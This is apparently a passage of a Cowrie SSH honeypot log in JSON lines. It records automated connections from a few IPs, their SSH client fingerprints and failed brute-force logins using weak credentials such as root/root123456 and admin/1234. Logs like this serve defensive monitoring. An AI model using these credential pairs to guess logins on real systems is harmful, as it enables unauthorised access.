{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:18.672693Z","src_ip":"176.65.139.95","session":"5f461cb920bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52216,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e5d51e4e01a","protocol":"ssh","message":"New connection: 192.109.200.78:52216 (159.203.135.109:22) [session: 2e5d51e4e01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:20.852122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:20.857316Z","src_ip":"192.109.200.78","session":"2e5d51e4e01a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:20.941593Z","src_ip":"192.109.200.78","session":"2e5d51e4e01a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:21.529433Z","src_ip":"192.109.200.78","session":"2e5d51e4e01a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:22.931097Z","src_ip":"192.109.200.78","session":"2e5d51e4e01a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35748,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf8fcf4cfcec","protocol":"ssh","message":"New connection: 176.65.139.95:35748 (159.203.135.109:22) [session: bf8fcf4cfcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:23.771802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:23.951595Z","src_ip":"176.65.139.95","session":"bf8fcf4cfcec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:23.956121Z","src_ip":"176.65.139.95","session":"bf8fcf4cfcec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:25.036816Z","src_ip":"176.65.139.95","session":"bf8fcf4cfcec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52232,"dst_ip":"159.203.135.109","dst_port":22,"session":"20d704b33b98","protocol":"ssh","message":"New connection: 192.109.200.78:52232 (159.203.135.109:22) [session: 20d704b33b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:25.173458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:25.177430Z","src_ip":"192.109.200.78","session":"20d704b33b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:25.260747Z","src_ip":"192.109.200.78","session":"20d704b33b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:25.508533Z","src_ip":"192.109.200.78","session":"20d704b33b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:26.167811Z","src_ip":"176.65.139.95","session":"bf8fcf4cfcec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:26.600433Z","src_ip":"192.109.200.78","session":"20d704b33b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36268,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd8e20014b2d","protocol":"ssh","message":"New connection: 192.109.200.78:36268 (159.203.135.109:22) [session: bd8e20014b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:29.347613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:29.352237Z","src_ip":"192.109.200.78","session":"bd8e20014b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:29.434057Z","src_ip":"192.109.200.78","session":"bd8e20014b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:29.684405Z","src_ip":"192.109.200.78","session":"bd8e20014b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:30.776935Z","src_ip":"192.109.200.78","session":"bd8e20014b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44960,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4831acc30f2","protocol":"ssh","message":"New connection: 176.65.139.95:44960 (159.203.135.109:22) [session: d4831acc30f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:31.226154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:31.230663Z","src_ip":"176.65.139.95","session":"d4831acc30f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:31.331293Z","src_ip":"176.65.139.95","session":"d4831acc30f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:31.624276Z","src_ip":"176.65.139.95","session":"d4831acc30f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:32.810569Z","src_ip":"176.65.139.95","session":"d4831acc30f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36286,"dst_ip":"159.203.135.109","dst_port":22,"session":"94be97a914a7","protocol":"ssh","message":"New connection: 192.109.200.78:36286 (159.203.135.109:22) [session: 94be97a914a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:33.578958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:33.583564Z","src_ip":"192.109.200.78","session":"94be97a914a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:33.665922Z","src_ip":"192.109.200.78","session":"94be97a914a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:33.922518Z","src_ip":"192.109.200.78","session":"94be97a914a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:35.009017Z","src_ip":"192.109.200.78","session":"94be97a914a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36300,"dst_ip":"159.203.135.109","dst_port":22,"session":"c63ecdd17956","protocol":"ssh","message":"New connection: 192.109.200.78:36300 (159.203.135.109:22) [session: c63ecdd17956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:37.718301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:37.723549Z","src_ip":"192.109.200.78","session":"c63ecdd17956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:37.808374Z","src_ip":"192.109.200.78","session":"c63ecdd17956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:38.060310Z","src_ip":"192.109.200.78","session":"c63ecdd17956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44962,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e70ec0605cb","protocol":"ssh","message":"New connection: 176.65.139.95:44962 (159.203.135.109:22) [session: 8e70ec0605cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:38.424826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:38.429534Z","src_ip":"176.65.139.95","session":"8e70ec0605cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:38.512091Z","src_ip":"176.65.139.95","session":"8e70ec0605cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:38.762593Z","src_ip":"176.65.139.95","session":"8e70ec0605cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:39.145511Z","src_ip":"192.109.200.78","session":"c63ecdd17956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36500,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c35b0f9cb24","protocol":"ssh","message":"New connection: 159.203.92.129:36500 (159.203.135.109:22) [session: 5c35b0f9cb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:39.478444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:39.483321Z","src_ip":"159.203.92.129","session":"5c35b0f9cb24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c"